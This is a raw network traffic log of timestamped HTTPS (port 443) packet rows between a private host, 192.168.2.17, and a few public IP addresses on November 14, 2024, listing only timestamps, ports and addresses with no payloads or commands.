Nov 14, 2024 16:39:41.032248020 CET	443	49735	152.199.21.175	192.168.2.17
Nov 14, 2024 16:39:41.032262087 CET	443	49735	152.199.21.175	192.168.2.17
Nov 14, 2024 16:39:41.032279015 CET	443	49735	152.199.21.175	192.168.2.17
Nov 14, 2024 16:39:41.032285929 CET	443	49735	152.199.21.175	192.168.2.17
Nov 14, 2024 16:39:41.032315969 CET	443	49735	152.199.21.175	192.168.2.17
Nov 14, 2024 16:39:41.032325983 CET	49735	443	192.168.2.17	152.199.21.175
Nov 14, 2024 16:39:41.032399893 CET	443	49735	152.199.21.175	192.168.2.17
Nov 14, 2024 16:39:41.032438993 CET	49735	443	192.168.2.17	152.199.21.175
Nov 14, 2024 16:39:41.032438993 CET	49735	443	192.168.2.17	152.199.21.175
Nov 14, 2024 16:39:41.032471895 CET	49735	443	192.168.2.17	152.199.21.175
Nov 14, 2024 16:39:41.147692919 CET	49680	443	192.168.2.17	20.189.173.13
Nov 14, 2024 16:39:41.179752111 CET	443	49734	152.199.21.175	192.168.2.17
Nov 14, 2024 16:39:41.179792881 CET	443	49734	152.199.21.175	192.168.2.17
Nov 14, 2024 16:39:41.179828882 CET	49734	443	192.168.2.17	152.199.21.175
Nov 14, 2024 16:39:41.179838896 CET	443	49734	152.199.21.175	192.168.2.17
Nov 14, 2024 16:39:41.179891109 CET	49734	443	192.168.2.17	152.199.21.175
Nov 14, 2024 16:39:41.179891109 CET	49734	443	192.168.2.17	152.199.21.175
Nov 14, 2024 16:39:41.179898977 CET	443	49734	152.199.21.175	192.168.2.17
Nov 14, 2024 16:39:41.180335045 CET	443	49735	152.199.21.175	192.168.2.17
Nov 14, 2024 16:39:41.180361032 CET	443	49735	152.199.21.175	192.168.2.17
Nov 14, 2024 16:39:41.180418968 CET	49735	443	192.168.2.17	152.199.21.175
Nov 14, 2024 16:39:41.180459976 CET	443	49735	152.199.21.175	192.168.2.17
Nov 14, 2024 16:39:41.180486917 CET	49735	443	192.168.2.17	152.199.21.175
Nov 14, 2024 16:39:41.180515051 CET	49735	443	192.168.2.17	152.199.21.175
Nov 14, 2024 16:39:41.182357073 CET	443	49738	184.28.90.27	192.168.2.17
Nov 14, 2024 16:39:41.182415962 CET	443	49738	184.28.90.27	192.168.2.17
Nov 14, 2024 16:39:41.182461023 CET	49738	443	192.168.2.17	184.28.90.27
Nov 14, 2024 16:39:41.185991049 CET	49738	443	192.168.2.17	184.28.90.27
Nov 14, 2024 16:39:41.185991049 CET	49738	443	192.168.2.17	184.28.90.27
Nov 14, 2024 16:39:41.186011076 CET	443	49738	184.28.90.27	192.168.2.17
Nov 14, 2024 16:39:41.186022043 CET	443	49738	184.28.90.27	192.168.2.17
Nov 14, 2024 16:39:41.210675955 CET	49675	443	192.168.2.17	204.79.197.203
Nov 14, 2024 16:39:41.226663113 CET	49734	443	192.168.2.17	152.199.21.175
Nov 14, 2024 16:39:41.268934011 CET	443	49734	152.199.21.175	192.168.2.17
Nov 14, 2024 16:39:41.268953085 CET	443	49734	152.199.21.175	192.168.2.17
Nov 14, 2024 16:39:41.269026041 CET	49734	443	192.168.2.17	152.199.21.175
Nov 14, 2024 16:39:41.269036055 CET	443	49734	152.199.21.175	192.168.2.17
Nov 14, 2024 16:39:41.269097090 CET	49734	443	192.168.2.17	152.199.21.175
Nov 14, 2024 16:39:41.271792889 CET	443	49735	152.199.21.175	192.168.2.17
Nov 14, 2024 16:39:41.271821976 CET	443	49735	152.199.21.175	192.168.2.17
Nov 14, 2024 16:39:41.272002935 CET	49735	443	192.168.2.17	152.199.21.175
Nov 14, 2024 16:39:41.272002935 CET	49735	443	192.168.2.17	152.199.21.175
Nov 14, 2024 16:39:41.272072077 CET	443	49735	152.199.21.175	192.168.2.17
Nov 14, 2024 16:39:41.272136927 CET	49735	443	192.168.2.17	152.199.21.175
Nov 14, 2024 16:39:41.315681934 CET	443	49735	152.199.21.175	192.168.2.17
Nov 14, 2024 16:39:41.315768957 CET	443	49735	152.199.21.175	192.168.2.17
Nov 14, 2024 16:39:41.315768003 CET	49735	443	192.168.2.17	152.199.21.175
Nov 14, 2024 16:39:41.315840960 CET	49735	443	192.168.2.17	152.199.21.175
Nov 14, 2024 16:39:41.316020012 CET	49735	443	192.168.2.17	152.199.21.175
Nov 14, 2024 16:39:41.316062927 CET	443	49735	152.199.21.175	192.168.2.17
Nov 14, 2024 16:39:41.352591991 CET	49739	443	192.168.2.17	152.199.21.175
Nov 14, 2024 16:39:41.352689981 CET	443	49739	152.199.21.175	192.168.2.17
Nov 14, 2024 16:39:41.352786064 CET	49739	443	192.168.2.17	152.199.21.175
Nov 14, 2024 16:39:41.352988005 CET	49739	443	192.168.2.17	152.199.21.175
Nov 14, 2024 16:39:41.353024006 CET	443	49739	152.199.21.175	192.168.2.17
Nov 14, 2024 16:39:41.388119936 CET	443	49734	152.199.21.175	192.168.2.17
Nov 14, 2024 16:39:41.388159037 CET	443	49734	152.199.21.175	192.168.2.17
Nov 14, 2024 16:39:41.388262987 CET	49734	443	192.168.2.17	152.199.21.175
Nov 14, 2024 16:39:41.388274908 CET	443	49734	152.199.21.175	192.168.2.17
Nov 14, 2024 16:39:41.388286114 CET	49734	443	192.168.2.17	152.199.21.175
Nov 14, 2024 16:39:41.388323069 CET	49734	443	192.168.2.17	152.199.21.175
Nov 14, 2024 16:39:41.507602930 CET	443	49734	152.199.21.175	192.168.2.17
Nov 14, 2024 16:39:41.507648945 CET	443	49734	152.199.21.175	192.168.2.17
Nov 14, 2024 16:39:41.507704973 CET	49734	443	192.168.2.17	152.199.21.175
Nov 14, 2024 16:39:41.507716894 CET	443	49734	152.199.21.175	192.168.2.17
Nov 14, 2024 16:39:41.507750034 CET	49734	443	192.168.2.17	152.199.21.175
Nov 14, 2024 16:39:41.507766008 CET	49734	443	192.168.2.17	152.199.21.175
Nov 14, 2024 16:39:41.627070904 CET	443	49734	152.199.21.175	192.168.2.17
Nov 14, 2024 16:39:41.627105951 CET	443	49734	152.199.21.175	192.168.2.17
Nov 14, 2024 16:39:41.627161980 CET	49734	443	192.168.2.17	152.199.21.175
Nov 14, 2024 16:39:41.627175093 CET	443	49734	152.199.21.175	192.168.2.17
Nov 14, 2024 16:39:41.627223969 CET	49734	443	192.168.2.17	152.199.21.175
Nov 14, 2024 16:39:41.746460915 CET	443	49734	152.199.21.175	192.168.2.17
Nov 14, 2024 16:39:41.746495008 CET	443	49734	152.199.21.175	192.168.2.17
Nov 14, 2024 16:39:41.746556044 CET	49734	443	192.168.2.17	152.199.21.175
Nov 14, 2024 16:39:41.746570110 CET	443	49734	152.199.21.175	192.168.2.17
Nov 14, 2024 16:39:41.746608973 CET	49734	443	192.168.2.17	152.199.21.175
Nov 14, 2024 16:39:41.746649027 CET	49734	443	192.168.2.17	152.199.21.175
Nov 14, 2024 16:39:41.750701904 CET	49680	443	192.168.2.17	20.189.173.13
Nov 14, 2024 16:39:41.865561962 CET	443	49734	152.199.21.175	192.168.2.17
Nov 14, 2024 16:39:41.865601063 CET	443	49734	152.199.21.175	192.168.2.17
Nov 14, 2024 16:39:41.865670919 CET	49734	443	192.168.2.17	152.199.21.175
Nov 14, 2024 16:39:41.865679026 CET	443	49734	152.199.21.175	192.168.2.17
Nov 14, 2024 16:39:41.865731955 CET	49734	443	192.168.2.17	152.199.21.175
Nov 14, 2024 16:39:41.908858061 CET	443	49734	152.199.21.175	192.168.2.17
Nov 14, 2024 16:39:41.908891916 CET	443	49734	152.199.21.175	192.168.2.17
Nov 14, 2024 16:39:41.909018993 CET	49734	443	192.168.2.17	152.199.21.175
Nov 14, 2024 16:39:41.909018993 CET	49734	443	192.168.2.17	152.199.21.175
Nov 14, 2024 16:39:41.909027100 CET	443	49734	152.199.21.175	192.168.2.17
Nov 14, 2024 16:39:41.909188986 CET	49734	443	192.168.2.17	152.199.21.175
Nov 14, 2024 16:39:41.986203909 CET	443	49734	152.199.21.175	192.168.2.17
Nov 14, 2024 16:39:41.986242056 CET	443	49734	152.199.21.175	192.168.2.17
Nov 14, 2024 16:39:41.986324072 CET	49734	443	192.168.2.17	152.199.21.175
Nov 14, 2024 16:39:41.986331940 CET	443	49734	152.199.21.175	192.168.2.17
Nov 14, 2024 16:39:41.986372948 CET	49734	443	192.168.2.17	152.199.21.175
Nov 14, 2024 16:39:41.986452103 CET	49734	443	192.168.2.17	152.199.21.175
Nov 14, 2024 16:39:42.104980946 CET	443	49734	152.199.21.175	192.168.2.17
Nov 14, 2024 16:39:42.105015039 CET	443	49734	152.199.21.175	192.168.2.17
Nov 14, 2024 16:39:42.105155945 CET	49734	443	192.168.2.17	152.199.21.175
Nov 14, 2024 16:39:42.105155945 CET	49734	443	192.168.2.17	152.199.21.175
Nov 14, 2024 16:39:42.105166912 CET	443	49734	152.199.21.175	192.168.2.17
Nov 14, 2024 16:39:42.105242014 CET	49734	443	192.168.2.17	152.199.21.175
Nov 14, 2024 16:39:42.224140882 CET	443	49734	152.199.21.175	192.168.2.17
Nov 14, 2024 16:39:42.224205971 CET	443	49734	152.199.21.175	192.168.2.17
Nov 14, 2024 16:39:42.224288940 CET	49734	443	192.168.2.17	152.199.21.175
Nov 14, 2024 16:39:42.224303007 CET	443	49734	152.199.21.175	192.168.2.17
Nov 14, 2024 16:39:42.224340916 CET	49734	443	192.168.2.17	152.199.21.175
Nov 14, 2024 16:39:42.224340916 CET	49734	443	192.168.2.17	152.199.21.175
Nov 14, 2024 16:39:42.224347115 CET	443	49734	152.199.21.175	192.168.2.17
Nov 14, 2024 16:39:42.276693106 CET	49734	443	192.168.2.17	152.199.21.175
Nov 14, 2024 16:39:42.310127974 CET	443	49734	152.199.21.175	192.168.2.17
Nov 14, 2024 16:39:42.310192108 CET	443	49734	152.199.21.175	192.168.2.17
Nov 14, 2024 16:39:42.310234070 CET	49734	443	192.168.2.17	152.199.21.175
Nov 14, 2024 16:39:42.310250998 CET	443	49734	152.199.21.175	192.168.2.17
Nov 14, 2024 16:39:42.310312033 CET	49734	443	192.168.2.17	152.199.21.175
Nov 14, 2024 16:39:42.310312033 CET	49734	443	192.168.2.17	152.199.21.175
Nov 14, 2024 16:39:42.344479084 CET	443	49734	152.199.21.175	192.168.2.17
Nov 14, 2024 16:39:42.344515085 CET	443	49734	152.199.21.175	192.168.2.17
Nov 14, 2024 16:39:42.344621897 CET	49734	443	192.168.2.17	152.199.21.175
Nov 14, 2024 16:39:42.344630957 CET	443	49734	152.199.21.175	192.168.2.17
Nov 14, 2024 16:39:42.344657898 CET	49734	443	192.168.2.17	152.199.21.175
Nov 14, 2024 16:39:42.344829082 CET	49734	443	192.168.2.17	152.199.21.175
Nov 14, 2024 16:39:42.410558939 CET	443	49739	152.199.21.175	192.168.2.17
Nov 14, 2024 16:39:42.410953999 CET	49739	443	192.168.2.17	152.199.21.175
Nov 14, 2024 16:39:42.411021948 CET	443	49739	152.199.21.175	192.168.2.17
Nov 14, 2024 16:39:42.411408901 CET	443	49739	152.199.21.175	192.168.2.17
Nov 14, 2024 16:39:42.411736012 CET	49739	443	192.168.2.17	152.199.21.175
Nov 14, 2024 16:39:42.411794901 CET	443	49739	152.199.21.175	192.168.2.17
Nov 14, 2024 16:39:42.411895037 CET	49739	443	192.168.2.17	152.199.21.175
Nov 14, 2024 16:39:42.455370903 CET	443	49739	152.199.21.175	192.168.2.17
Nov 14, 2024 16:39:42.462814093 CET	443	49734	152.199.21.175	192.168.2.17
Nov 14, 2024 16:39:42.462850094 CET	443	49734	152.199.21.175	192.168.2.17
Nov 14, 2024 16:39:42.462970972 CET	49734	443	192.168.2.17	152.199.21.175
Nov 14, 2024 16:39:42.462970972 CET	49734	443	192.168.2.17	152.199.21.175
Nov 14, 2024 16:39:42.462980986 CET	443	49734	152.199.21.175	192.168.2.17
Nov 14, 2024 16:39:42.463330030 CET	49734	443	192.168.2.17	152.199.21.175
Nov 14, 2024 16:39:42.548994064 CET	443	49734	152.199.21.175	192.168.2.17
Nov 14, 2024 16:39:42.549030066 CET	443	49734	152.199.21.175	192.168.2.17
Nov 14, 2024 16:39:42.549094915 CET	49734	443	192.168.2.17	152.199.21.175
Nov 14, 2024 16:39:42.549113989 CET	443	49734	152.199.21.175	192.168.2.17
Nov 14, 2024 16:39:42.549173117 CET	49734	443	192.168.2.17	152.199.21.175
Nov 14, 2024 16:39:42.549173117 CET	49734	443	192.168.2.17	152.199.21.175
Nov 14, 2024 16:39:42.583568096 CET	443	49734	152.199.21.175	192.168.2.17
Nov 14, 2024 16:39:42.583619118 CET	443	49734	152.199.21.175	192.168.2.17
Nov 14, 2024 16:39:42.583760977 CET	49734	443	192.168.2.17	152.199.21.175
Nov 14, 2024 16:39:42.583770037 CET	443	49734	152.199.21.175	192.168.2.17
Nov 14, 2024 16:39:42.583786011 CET	49734	443	192.168.2.17	152.199.21.175
Nov 14, 2024 16:39:42.583903074 CET	49734	443	192.168.2.17	152.199.21.175
Nov 14, 2024 16:39:42.643579960 CET	443	49739	152.199.21.175	192.168.2.17
Nov 14, 2024 16:39:42.691709995 CET	49739	443	192.168.2.17	152.199.21.175
Nov 14, 2024 16:39:42.702361107 CET	443	49734	152.199.21.175	192.168.2.17
Nov 14, 2024 16:39:42.702395916 CET	443	49734	152.199.21.175	192.168.2.17
Nov 14, 2024 16:39:42.702461958 CET	49734	443	192.168.2.17	152.199.21.175
Nov 14, 2024 16:39:42.702471018 CET	443	49734	152.199.21.175	192.168.2.17
Nov 14, 2024 16:39:42.702583075 CET	49734	443	192.168.2.17	152.199.21.175
Nov 14, 2024 16:39:42.703197002 CET	443	49734	152.199.21.175	192.168.2.17
Nov 14, 2024 16:39:42.703223944 CET	443	49734	152.199.21.175	192.168.2.17
Nov 14, 2024 16:39:42.703301907 CET	49734	443	192.168.2.17	152.199.21.175
Nov 14, 2024 16:39:42.703301907 CET	49734	443	192.168.2.17	152.199.21.175
Nov 14, 2024 16:39:42.703306913 CET	443	49734	152.199.21.175	192.168.2.17
Nov 14, 2024 16:39:42.703680038 CET	49734	443	192.168.2.17	152.199.21.175
Nov 14, 2024 16:39:42.760629892 CET	443	49739	152.199.21.175	192.168.2.17
Nov 14, 2024 16:39:42.760644913 CET	443	49739	152.199.21.175	192.168.2.17
Nov 14, 2024 16:39:42.760683060 CET	443	49739	152.199.21.175	192.168.2.17
Nov 14, 2024 16:39:42.760710001 CET	443	49739	152.199.21.175	192.168.2.17
Nov 14, 2024 16:39:42.760739088 CET	49739	443	192.168.2.17	152.199.21.175
Nov 14, 2024 16:39:42.760783911 CET	443	49739	152.199.21.175	192.168.2.17
Nov 14, 2024 16:39:42.760804892 CET	49739	443	192.168.2.17	152.199.21.175
Nov 14, 2024 16:39:42.760839939 CET	49739	443	192.168.2.17	152.199.21.175
Nov 14, 2024 16:39:42.821885109 CET	443	49734	152.199.21.175	192.168.2.17
Nov 14, 2024 16:39:42.821954012 CET	443	49734	152.199.21.175	192.168.2.17
Nov 14, 2024 16:39:42.822026968 CET	49734	443	192.168.2.17	152.199.21.175
Nov 14, 2024 16:39:42.822026968 CET	49734	443	192.168.2.17	152.199.21.175
Nov 14, 2024 16:39:42.822041035 CET	443	49734	152.199.21.175	192.168.2.17
Nov 14, 2024 16:39:42.822983980 CET	49734	443	192.168.2.17	152.199.21.175
Nov 14, 2024 16:39:42.822993994 CET	443	49734	152.199.21.175	192.168.2.17
Nov 14, 2024 16:39:42.823060989 CET	443	49734	152.199.21.175	192.168.2.17
Nov 14, 2024 16:39:42.823117018 CET	443	49734	152.199.21.175	192.168.2.17
Nov 14, 2024 16:39:42.823183060 CET	49734	443	192.168.2.17	152.199.21.175
Nov 14, 2024 16:39:42.823183060 CET	49734	443	192.168.2.17	152.199.21.175
Nov 14, 2024 16:39:42.823190928 CET	443	49734	152.199.21.175	192.168.2.17
Nov 14, 2024 16:39:42.866674900 CET	49734	443	192.168.2.17	152.199.21.175
Nov 14, 2024 16:39:42.877857924 CET	443	49739	152.199.21.175	192.168.2.17
Nov 14, 2024 16:39:42.877887011 CET	443	49739	152.199.21.175	192.168.2.17
Nov 14, 2024 16:39:42.877988100 CET	49739	443	192.168.2.17	152.199.21.175
Nov 14, 2024 16:39:42.878032923 CET	443	49739	152.199.21.175	192.168.2.17
Nov 14, 2024 16:39:42.878096104 CET	49739	443	192.168.2.17	152.199.21.175
Nov 14, 2024 16:39:42.941068888 CET	443	49734	152.199.21.175	192.168.2.17
Nov 14, 2024 16:39:42.941106081 CET	443	49734	152.199.21.175	192.168.2.17
Nov 14, 2024 16:39:42.941159964 CET	49734	443	192.168.2.17	152.199.21.175
Nov 14, 2024 16:39:42.941169977 CET	443	49734	152.199.21.175	192.168.2.17
Nov 14, 2024 16:39:42.941226959 CET	49734	443	192.168.2.17	152.199.21.175
Nov 14, 2024 16:39:42.942163944 CET	443	49734	152.199.21.175	192.168.2.17
Nov 14, 2024 16:39:42.942189932 CET	443	49734	152.199.21.175	192.168.2.17
Nov 14, 2024 16:39:42.942224979 CET	49734	443	192.168.2.17	152.199.21.175
Nov 14, 2024 16:39:42.942231894 CET	443	49734	152.199.21.175	192.168.2.17
Nov 14, 2024 16:39:42.942266941 CET	49734	443	192.168.2.17	152.199.21.175
Nov 14, 2024 16:39:42.962696075 CET	49680	443	192.168.2.17	20.189.173.13
Nov 14, 2024 16:39:42.994970083 CET	443	49739	152.199.21.175	192.168.2.17
Nov 14, 2024 16:39:42.994995117 CET	443	49739	152.199.21.175	192.168.2.17
Nov 14, 2024 16:39:42.995089054 CET	49739	443	192.168.2.17	152.199.21.175
Nov 14, 2024 16:39:42.995131969 CET	443	49739	152.199.21.175	192.168.2.17
Nov 14, 2024 16:39:42.995193958 CET	49739	443	192.168.2.17	152.199.21.175
Nov 14, 2024 16:39:43.040869951 CET	443	49739	152.199.21.175	192.168.2.17
Nov 14, 2024 16:39:43.040970087 CET	443	49739	152.199.21.175	192.168.2.17
Nov 14, 2024 16:39:43.040992975 CET	49739	443	192.168.2.17	152.199.21.175
Nov 14, 2024 16:39:43.041052103 CET	49739	443	192.168.2.17	152.199.21.175
Nov 14, 2024 16:39:43.041299105 CET	49739	443	192.168.2.17	152.199.21.175
Nov 14, 2024 16:39:43.041325092 CET	443	49739	152.199.21.175	192.168.2.17
Nov 14, 2024 16:39:43.060931921 CET	443	49734	152.199.21.175	192.168.2.17
Nov 14, 2024 16:39:43.061000109 CET	443	49734	152.199.21.175	192.168.2.17
Nov 14, 2024 16:39:43.061027050 CET	49734	443	192.168.2.17	152.199.21.175
Nov 14, 2024 16:39:43.061037064 CET	443	49734	152.199.21.175	192.168.2.17
Nov 14, 2024 16:39:43.063616037 CET	49734	443	192.168.2.17	152.199.21.175
Nov 14, 2024 16:39:43.103482962 CET	443	49734	152.199.21.175	192.168.2.17
Nov 14, 2024 16:39:43.103513002 CET	443	49734	152.199.21.175	192.168.2.17
Nov 14, 2024 16:39:43.103564024 CET	49734	443	192.168.2.17	152.199.21.175
Nov 14, 2024 16:39:43.103571892 CET	443	49734	152.199.21.175	192.168.2.17
Nov 14, 2024 16:39:43.103641987 CET	49734	443	192.168.2.17	152.199.21.175
Nov 14, 2024 16:39:43.181073904 CET	443	49734	152.199.21.175	192.168.2.17
Nov 14, 2024 16:39:43.181097984 CET	443	49734	152.199.21.175	192.168.2.17
Nov 14, 2024 16:39:43.181173086 CET	49734	443	192.168.2.17	152.199.21.175
Nov 14, 2024 16:39:43.181183100 CET	443	49734	152.199.21.175	192.168.2.17
Nov 14, 2024 16:39:43.181243896 CET	49734	443	192.168.2.17	152.199.21.175
Nov 14, 2024 16:39:43.182234049 CET	443	49734	152.199.21.175	192.168.2.17
Nov 14, 2024 16:39:43.182254076 CET	443	49734	152.199.21.175	192.168.2.17
Nov 14, 2024 16:39:43.182295084 CET	49734	443	192.168.2.17	152.199.21.175
Nov 14, 2024 16:39:43.182302952 CET	443	49734	152.199.21.175	192.168.2.17
Nov 14, 2024 16:39:43.182332993 CET	49734	443	192.168.2.17	152.199.21.175
Nov 14, 2024 16:39:43.182351112 CET	49734	443	192.168.2.17	152.199.21.175
Nov 14, 2024 16:39:43.292674065 CET	443	49734	152.199.21.175	192.168.2.17
Nov 14, 2024 16:39:43.292756081 CET	49734	443	192.168.2.17	152.199.21.175
Nov 14, 2024 16:39:43.292769909 CET	443	49734	152.199.21.175	192.168.2.17
Nov 14, 2024 16:39:43.292795897 CET	443	49734	152.199.21.175	192.168.2.17
Nov 14, 2024 16:39:43.292841911 CET	49734	443	192.168.2.17	152.199.21.175
Nov 14, 2024 16:39:43.293132067 CET	49734	443	192.168.2.17	152.199.21.175
Nov 14, 2024 16:39:43.293147087 CET	443	49734	152.199.21.175	192.168.2.17
Nov 14, 2024 16:39:43.296695948 CET	49740	443	192.168.2.17	152.199.21.175
Nov 14, 2024 16:39:43.296746969 CET	443	49740	152.199.21.175	192.168.2.17
Nov 14, 2024 16:39:43.296834946 CET	49740	443	192.168.2.17	152.199.21.175
Nov 14, 2024 16:39:43.297065020 CET	49740	443	192.168.2.17	152.199.21.175
Nov 14, 2024 16:39:43.297081947 CET	443	49740	152.199.21.175	192.168.2.17
Nov 14, 2024 16:39:43.330761909 CET	49730	443	192.168.2.17	152.199.21.175
Nov 14, 2024 16:39:43.354257107 CET	49741	443	192.168.2.17	152.199.21.175
Nov 14, 2024 16:39:43.354310036 CET	443	49741	152.199.21.175	192.168.2.17
Nov 14, 2024 16:39:43.354461908 CET	49741	443	192.168.2.17	152.199.21.175
Nov 14, 2024 16:39:43.354943991 CET	49741	443	192.168.2.17	152.199.21.175
Nov 14, 2024 16:39:43.354959965 CET	443	49741	152.199.21.175	192.168.2.17
Nov 14, 2024 16:39:43.375336885 CET	443	49730	152.199.21.175	192.168.2.17
Nov 14, 2024 16:39:43.558103085 CET	443	49730	152.199.21.175	192.168.2.17
Nov 14, 2024 16:39:43.613722086 CET	49730	443	192.168.2.17	152.199.21.175
Nov 14, 2024 16:39:43.675060987 CET	443	49730	152.199.21.175	192.168.2.17
Nov 14, 2024 16:39:43.675070047 CET	443	49730	152.199.21.175	192.168.2.17
Nov 14, 2024 16:39:43.675168037 CET	443	49730	152.199.21.175	192.168.2.17
Nov 14, 2024 16:39:43.675179958 CET	443	49730	152.199.21.175	192.168.2.17
Nov 14, 2024 16:39:43.675215006 CET	443	49730	152.199.21.175	192.168.2.17
Nov 14, 2024 16:39:43.675261974 CET	49730	443	192.168.2.17	152.199.21.175
Nov 14, 2024 16:39:43.675268888 CET	443	49730	152.199.21.175	192.168.2.17
Nov 14, 2024 16:39:43.675338030 CET	49730	443	192.168.2.17	152.199.21.175
Nov 14, 2024 16:39:43.792309999 CET	443	49730	152.199.21.175	192.168.2.17
Nov 14, 2024 16:39:43.792320967 CET	443	49730	152.199.21.175	192.168.2.17
Nov 14, 2024 16:39:43.792361021 CET	443	49730	152.199.21.175	192.168.2.17
Nov 14, 2024 16:39:43.792372942 CET	443	49730	152.199.21.175	192.168.2.17
Nov 14, 2024 16:39:43.792453051 CET	49730	443	192.168.2.17	152.199.21.175
Nov 14, 2024 16:39:43.792463064 CET	443	49730	152.199.21.175	192.168.2.17
Nov 14, 2024 16:39:43.792511940 CET	49730	443	192.168.2.17	152.199.21.175
Nov 14, 2024 16:39:43.792536974 CET	49730	443	192.168.2.17	152.199.21.175
Nov 14, 2024 16:39:43.909698963 CET	443	49730	152.199.21.175	192.168.2.17
Nov 14, 2024 16:39:43.909720898 CET	443	49730	152.199.21.175	192.168.2.17
Nov 14, 2024 16:39:43.909792900 CET	49730	443	192.168.2.17	152.199.21.175
Nov 14, 2024 16:39:43.909802914 CET	443	49730	152.199.21.175	192.168.2.17
Nov 14, 2024 16:39:43.909873009 CET	49730	443	192.168.2.17	152.199.21.175
Nov 14, 2024 16:39:44.026103973 CET	443	49730	152.199.21.175	192.168.2.17
Nov 14, 2024 16:39:44.026125908 CET	443	49730	152.199.21.175	192.168.2.17
Nov 14, 2024 16:39:44.026288986 CET	49730	443	192.168.2.17	152.199.21.175
Nov 14, 2024 16:39:44.026300907 CET	443	49730	152.199.21.175	192.168.2.17
Nov 14, 2024 16:39:44.027723074 CET	49730	443	192.168.2.17	152.199.21.175
Nov 14, 2024 16:39:44.176300049 CET	443	49730	152.199.21.175	192.168.2.17
Nov 14, 2024 16:39:44.176322937 CET	443	49730	152.199.21.175	192.168.2.17
Nov 14, 2024 16:39:44.176534891 CET	49730	443	192.168.2.17	152.199.21.175
Nov 14, 2024 16:39:44.176544905 CET	443	49730	152.199.21.175	192.168.2.17
Nov 14, 2024 16:39:44.176588058 CET	49730	443	192.168.2.17	152.199.21.175
Nov 14, 2024 16:39:44.259875059 CET	443	49730	152.199.21.175	192.168.2.17
Nov 14, 2024 16:39:44.259898901 CET	443	49730	152.199.21.175	192.168.2.17
Nov 14, 2024 16:39:44.260009050 CET	49730	443	192.168.2.17	152.199.21.175
Nov 14, 2024 16:39:44.260020971 CET	443	49730	152.199.21.175	192.168.2.17
Nov 14, 2024 16:39:44.260060072 CET	49730	443	192.168.2.17	152.199.21.175
Nov 14, 2024 16:39:44.330251932 CET	443	49740	152.199.21.175	192.168.2.17
Nov 14, 2024 16:39:44.330729008 CET	49740	443	192.168.2.17	152.199.21.175
Nov 14, 2024 16:39:44.330794096 CET	443	49740	152.199.21.175	192.168.2.17
Nov 14, 2024 16:39:44.331172943 CET	443	49740	152.199.21.175	192.168.2.17
Nov 14, 2024 16:39:44.331511021 CET	49740	443	192.168.2.17	152.199.21.175
Nov 14, 2024 16:39:44.331583023 CET	443	49740	152.199.21.175	192.168.2.17
Nov 14, 2024 16:39:44.331680059 CET	49740	443	192.168.2.17	152.199.21.175
Nov 14, 2024 16:39:44.376863956 CET	443	49730	152.199.21.175	192.168.2.17
Nov 14, 2024 16:39:44.376889944 CET	443	49730	152.199.21.175	192.168.2.17
Nov 14, 2024 16:39:44.377115011 CET	49730	443	192.168.2.17	152.199.21.175
Nov 14, 2024 16:39:44.377125978 CET	443	49730	152.199.21.175	192.168.2.17
Nov 14, 2024 16:39:44.377181053 CET	49730	443	192.168.2.17	152.199.21.175
Nov 14, 2024 16:39:44.379327059 CET	443	49740	152.199.21.175	192.168.2.17
Nov 14, 2024 16:39:44.405874968 CET	443	49741	152.199.21.175	192.168.2.17
Nov 14, 2024 16:39:44.406316042 CET	49741	443	192.168.2.17	152.199.21.175
Nov 14, 2024 16:39:44.406338930 CET	443	49741	152.199.21.175	192.168.2.17
Nov 14, 2024 16:39:44.406640053 CET	443	49741	152.199.21.175	192.168.2.17
Nov 14, 2024 16:39:44.407130003 CET	49741	443	192.168.2.17	152.199.21.175
Nov 14, 2024 16:39:44.407185078 CET	443	49741	152.199.21.175	192.168.2.17
Nov 14, 2024 16:39:44.407232046 CET	49741	443	192.168.2.17	152.199.21.175
Nov 14, 2024 16:39:44.410444021 CET	443	49730	152.199.21.175	192.168.2.17
Nov 14, 2024 16:39:44.410459995 CET	443	49730	152.199.21.175	192.168.2.17
Nov 14, 2024 16:39:44.410542965 CET	49730	443	192.168.2.17	152.199.21.175
Nov 14, 2024 16:39:44.410548925 CET	443	49730	152.199.21.175	192.168.2.17
Nov 14, 2024 16:39:44.410588026 CET	49730	443	192.168.2.17	152.199.21.175
Nov 14, 2024 16:39:44.447334051 CET	443	49741	152.199.21.175	192.168.2.17
Nov 14, 2024 16:39:44.458697081 CET	49741	443	192.168.2.17	152.199.21.175
Nov 14, 2024 16:39:44.495086908 CET	443	49730	152.199.21.175	192.168.2.17
Nov 14, 2024 16:39:44.495112896 CET	443	49730	152.199.21.175	192.168.2.17
Nov 14, 2024 16:39:44.495356083 CET	49730	443	192.168.2.17	152.199.21.175
Nov 14, 2024 16:39:44.495368958 CET	443	49730	152.199.21.175	192.168.2.17
Nov 14, 2024 16:39:44.495423079 CET	49730	443	192.168.2.17	152.199.21.175
Nov 14, 2024 16:39:44.560554028 CET	443	49740	152.199.21.175	192.168.2.17
Nov 14, 2024 16:39:44.602768898 CET	49740	443	192.168.2.17	152.199.21.175
Nov 14, 2024 16:39:44.611624956 CET	443	49730	152.199.21.175	192.168.2.17
Nov 14, 2024 16:39:44.611651897 CET	443	49730	152.199.21.175	192.168.2.17
Nov 14, 2024 16:39:44.611772060 CET	49730	443	192.168.2.17	152.199.21.175
Nov 14, 2024 16:39:44.611784935 CET	443	49730	152.199.21.175	192.168.2.17
Nov 14, 2024 16:39:44.611829996 CET	49730	443	192.168.2.17	152.199.21.175
Nov 14, 2024 16:39:44.636257887 CET	443	49741	152.199.21.175	192.168.2.17
Nov 14, 2024 16:39:44.672049046 CET	443	49740	152.199.21.175	192.168.2.17
Nov 14, 2024 16:39:44.672063112 CET	443	49740	152.199.21.175	192.168.2.17
Nov 14, 2024 16:39:44.672101974 CET	443	49740	152.199.21.175	192.168.2.17
Nov 14, 2024 16:39:44.672132015 CET	443	49740	152.199.21.175	192.168.2.17
Nov 14, 2024 16:39:44.672221899 CET	49740	443	192.168.2.17	152.199.21.175
Nov 14, 2024 16:39:44.672318935 CET	443	49740	152.199.21.175	192.168.2.17
Nov 14, 2024 16:39:44.672358036 CET	49740	443	192.168.2.17	152.199.21.175
Nov 14, 2024 16:39:44.672401905 CET	49740	443	192.168.2.17	152.199.21.175
Nov 14, 2024 16:39:44.682674885 CET	49741	443	192.168.2.17	152.199.21.175
Nov 14, 2024 16:39:44.728661060 CET	443	49730	152.199.21.175	192.168.2.17
Nov 14, 2024 16:39:44.728687048 CET	443	49730	152.199.21.175	192.168.2.17
Nov 14, 2024 16:39:44.728770971 CET	49730	443	192.168.2.17	152.199.21.175
Nov 14, 2024 16:39:44.728801012 CET	443	49730	152.199.21.175	192.168.2.17
